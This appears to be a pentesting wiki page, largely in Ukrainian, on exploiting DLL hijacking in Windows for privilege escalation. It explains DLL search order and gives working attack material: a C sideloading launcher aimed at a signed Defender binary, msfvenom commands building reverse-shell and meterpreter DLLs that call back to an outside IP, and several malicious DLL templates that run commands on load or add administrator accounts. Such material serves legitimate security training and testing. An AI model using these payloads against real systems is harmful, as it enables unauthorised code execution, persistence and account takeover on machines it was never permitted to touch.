Exploiting Missing Dlls - -Щоб ескалювати привілеї, найкращим шансом є можливість **записати DLL, яку процес з підвищеними правами спробує завантажити** у одне з **місць, де її будуть шукати**. Таким чином, ми зможемо **записати** DLL у **папку**, де **DLL шукають раніше**, ніж папку з **оригінальною DLL** (рідкісний випадок), або ми зможемо **записати у папку, де DLL буде шукатись**, і оригінальної **DLL не існує** в жодній з папок. - -### Dll Search Order - -**Inside the** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **you can find how the Dlls are loaded specifically.** - -**Windows applications** шукають DLL, слідуючи набору **передвизначених шляхів пошуку**, дотримуючись певної послідовності. Проблема DLL hijacking виникає, коли шкідлива DLL стратегічно розміщується в одному з цих каталогів так, щоб вона була завантажена раніше за автентичну DLL. Рішення для запобігання цьому — переконатись, що застосунок використовує абсолютні шляхи при посиланні на потрібні DLL. - -Нижче ви можете побачити **DLL search order на 32-bit** системах: - -1. The directory from which the application loaded. -2. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.(_C:\Windows\System32_) -3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (_C:\Windows\System_) -4. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory. -1. (_C:\Windows_) -5. The current directory. -6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path. - -Це **типовий** порядок пошуку з увімкненим **SafeDllSearchMode**. Коли він вимкнений, поточний каталог піднімається до другої позиції. Щоб відключити цю функцію, створіть значення реєстру **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** і встановіть його в 0 (за замовчуванням ввімкнено). - -Якщо функцію [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) викликають з **LOAD_WITH_ALTERED_SEARCH_PATH**, пошук починається в директорії виконуваного модуля, який **LoadLibraryEx** завантажує. - -Нарешті, зверніть увагу, що **DLL може бути завантажено із вказанням абсолютного шляху замість лише імені**. У такому випадку ця DLL **буде шукатись лише за цим шляхом** (якщо DLL має залежності, вони будуть шукатись як завантажені просто за іменем). - -Існують інші способи змінити порядок пошуку, але я не буду тут їх пояснювати. - -### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath - -Просунутий спосіб детерміновано вплинути на DLL search path новоствореного процесу — встановити поле DllPath в RTL_USER_PROCESS_PARAMETERS при створенні процесу з нативними API ntdll. Поставивши тут директорію, контрольовану атакуючим, цільовий процес, який вирішує імпортовану DLL за іменем (без абсолютного шляху і без використання прапорів безпечного завантаження), може бути змушений завантажити шкідливу DLL з цієї директорії. - -Ключова ідея -- Побудувати параметри процесу з RtlCreateProcessParametersEx і вказати власний DllPath, що вказує на вашу контрольовану папку (наприклад, директорію, де знаходиться ваш dropper/unpacker). -- Створити процес з RtlCreateUserProcess. Коли цільовий бінар розв'язує DLL за іменем, загрузчик звернеться до цього наданого DllPath під час розв'язання, що дозволяє надійно виконати sideloading навіть коли шкідлива DLL не знаходиться поруч із цільовим EXE. - -Примітки/обмеження -- Це впливає на створюваний дочірній процес; відрізняється від SetDllDirectory, яка впливає лише на поточний процес. -- Ціль має імпортувати або викликати LoadLibrary для DLL за іменем (без абсолютного шляху і без використання LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories). -- KnownDLLs і захардкоджені абсолютні шляхи не можна захакати. Forwarded exports та SxS можуть змінювати пріоритет. - -Мінімальний C-приклад (ntdll, wide strings, спрощена обробка помилок): -```c -#include -#include -#pragma comment(lib, "ntdll.lib") - -// Prototype (not in winternl.h in older SDKs) -typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)( -PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, -PUNICODE_STRING ImagePathName, -PUNICODE_STRING DllPath, -PUNICODE_STRING CurrentDirectory, -PUNICODE_STRING CommandLine, -PVOID Environment, -PUNICODE_STRING WindowTitle, -PUNICODE_STRING DesktopInfo, -PUNICODE_STRING ShellInfo, -PUNICODE_STRING RuntimeData, -ULONG Flags -); - -typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)( -PUNICODE_STRING NtImagePathName, -ULONG Attributes, -PRTL_USER_PROCESS_PARAMETERS ProcessParameters, -PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, -PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, -HANDLE ParentProcess, -BOOLEAN InheritHandles, -HANDLE DebugPort, -HANDLE ExceptionPort, -PRTL_USER_PROCESS_INFORMATION ProcessInformation -); - -static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) { -DWORD n = GetModuleFileNameW(h, out, cch); -for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; } -} - -int wmain(void) { -// Target Microsoft-signed, DLL-hijackable binary (example) -const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe"; - -// Build custom DllPath = directory of our current module (e.g., the unpacked archive) -wchar_t dllDir[MAX_PATH]; -DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH); - -UNICODE_STRING uImage, uCmd, uDllPath, uCurDir; -RtlInitUnicodeString(&uImage, image); -RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\""); -RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory -RtlInitUnicodeString(&uCurDir, dllDir); - -RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx = -(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx"); -RtlCreateUserProcess_t pRtlCreateUserProcess = -(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess"); - -RTL_USER_PROCESS_PARAMETERS *pp = NULL; -NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd, -NULL, NULL, NULL, NULL, NULL, 0); -if (st < 0) return 1; - -RTL_USER_PROCESS_INFORMATION pi = {0}; -st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi); -if (st < 0) return 1; - -// Resume main thread etc. if created suspended (not shown here) -return 0; -} -``` -Практичний приклад використання -- Помістіть зловмисний xmllite.dll (який експортує необхідні функції або виступає як проксі до справжнього) у ваш каталог DllPath. -- Запустіть підписаний бінарник, відомий тим, що шукає xmllite.dll за іменем, використовуючи описану вище техніку. Завантажувач резолвить імпорт через вказаний DllPath і підвантажує ваш DLL. - -Цю техніку спостерігали в дикій природі як рушійну для багатоступеневих sideloading ланцюгів: початковий launcher скидає допоміжний DLL, який потім породжує підписаний Microsoft, hijackable бінарник з кастомним DllPath, щоб примусово завантажити DLL атакувальника з тимчасового каталогу. - - -#### Винятки щодо порядку пошуку dll з документації Windows - -У документації Windows зазначені певні винятки зі стандартного порядку пошуку DLL: - -- Коли зустрічається **DLL, яка має те саме ім'я, що й одна вже завантажена в пам'ять**, система обходить звичайний пошук. Замість цього вона проводить перевірку перенаправлення та маніфеста перед тим, як повернутися до DLL, яка вже знаходиться в пам'яті. **У цьому сценарії система не проводить пошуку DLL**. -- У випадках, коли DLL визнано **known DLL** для поточної версії Windows, система використовуватиме свою версію цієї known DLL разом з будь-якими її залежними DLL, **уникаючи процесу пошуку**. Ключ реєстру **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** містить список таких known DLL. -- Якщо **DLL має залежності**, пошук цих залежних DLL виконується так, ніби вони вказані лише своїми **іменами модулів**, незалежно від того, чи початкову DLL було ідентифіковано через повний шлях. - -### Підвищення привілеїв - -**Вимоги**: - -- Виявити процес, який працює або буде працювати з **іншими привілеями** (горизонтальне або латеральне переміщення), який **не має DLL**. -- Переконатися, що є **права на запис** у будь-який **каталог**, у якому буде **шукатися DLL**. Це місце може бути каталогом виконуваного файлу або каталогом в системному шляху. - -Так, ці вимоги важко знайти, оскільки **за замовчуванням досить дивно знайти привілейований виконуваний файл без DLL**, і ще **дивніше мати права запису в папці системного шляху** (звичайно, за замовчуванням це неможливо). Але в неправильно сконфігурованих середовищах це можливо.\ -Якщо вам пощастить і ви відповідаєте вимогам, можете перевірити проект [UACME](https://github.com/hfiref0x/UACME). Навіть якщо **основна мета проєкту — обійти UAC**, ви можете знайти там **PoC** Dll hijaking для версії Windows, яку можна використати (ймовірно, просто змінивши шлях папки, де у вас є права на запис). - -Зверніть увагу, що ви можете **перевірити свої права в папці**, зробивши: -```bash -accesschk.exe -dqv "C:\Python27" -icacls "C:\Python27" -``` -І **перевірте права доступу всіх папок у PATH**: -```bash -for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) -``` -Ви також можете перевірити імпорти виконуваного файлу та експорти dll за допомогою: -```c -dumpbin /imports C:\path\Tools\putty\Putty.exe -dumpbin /export /path/file.dll -``` -For a full guide on how to **abuse Dll Hijacking to escalate privileges** with permissions to write in a **System Path folder** check: - - -{{#ref}} -dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md -{{#endref}} - -### Автоматизовані інструменти - -[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) перевірить, чи маєте ви права на запис у будь-яку папку в системному PATH.\ -Інші корисні автоматизовані інструменти для виявлення цієї вразливості — це функції **PowerSploit**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ та _Write-HijackDll_. - -### Приклад - -Якщо ви знайдете експлуатований сценарій, однією з найважливіших речей для успішної експлуатації буде **створити dll, яка експортує принаймні всі функції, які виконуваний файл імпортуватиме з неї**. Зауважте, що Dll Hijacking корисний для [escalate from Medium Integrity level to High **(bypassing UAC)**](../authentication-credentials-uac-and-efs.md#uac) або з [**High Integrity to SYSTEM**](#from-high-integrity-to-system). Ви можете знайти приклад **how to create a valid dll** у цьому дослідженні dll hijacking, орієнтованому на виконання через dll hijacking: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows).\ -Крім того, у **наступному розділі** ви знайдете кілька **базових dll-кодів**, які можуть бути корисні як **шаблони** або для створення **dll, що експортує необов'язкові функції**. - -## **Створення та компіляція Dlls** - -### **Dll Proxifying** - -По суті, **Dll proxy** — це Dll, здатна **виконати ваш шкідливий код при завантаженні**, але також надавати і працювати як очікується, переадресовуючи всі виклики до справжньої бібліотеки. - -За допомогою інструмента [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) або [**Spartacus**](https://github.com/Accenture/Spartacus) ви можете вказати виконуваний файл і вибрати бібліотеку, яку хочете proxify, і згенерувати proxified dll, або вказати Dll і згенерувати proxified dll. - -### **Meterpreter** - -**Get rev shell (x64):** -```bash -msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll -``` -**Отримати meterpreter (x86):** -```bash -msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll -``` -**Створити користувача (x86 — я не бачив версії x64):** -``` -msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll -``` -### Ваш власний - -Зверніть увагу, що в кількох випадках Dll, який ви компілюєте, повинен **export several functions**, які будуть завантажені victim process; якщо ці функції не існують, **binary won't be able to load** їх і **exploit will fail**. -```c -// Tested in Win10 -// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared -#include -BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ -switch(dwReason){ -case DLL_PROCESS_ATTACH: -system("whoami > C:\\users\\username\\whoami.txt"); -WinExec("calc.exe", 0); //This doesn't accept redirections like system -break; -case DLL_PROCESS_DETACH: -break; -case DLL_THREAD_ATTACH: -break; -case DLL_THREAD_DETACH: -break; -} -return TRUE; -} -``` - -```c -// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll -// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll - -#include -BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ -if (dwReason == DLL_PROCESS_ATTACH){ -system("cmd.exe /k net localgroup administrators user /add"); -ExitProcess(0); -} -return TRUE; -} -``` - -```c -//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp -//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a - -#include - -int owned() -{ -WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0); -exit(0); -return 0; -} - -BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved) -{ -owned(); -return 0; -} -``` - -```c -//Another possible DLL -// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll - -#include -#include -#include - -void Entry (){ //Default function that is executed when the DLL is loaded -system("cmd"); -} - -BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { -switch (ul_reason_for_call){ -case DLL_PROCESS_ATTACH: -CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0); -break; -case DLL_THREAD_ATTACH: -case DLL_THREAD_DETACH: -case DLL_PROCESS_DEATCH: -break; -} -return TRUE; -} -``` -## Джерела - -- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e) -- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html) - - - -- [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/) - - -{{#include ../../banners/hacktricks-training.md}}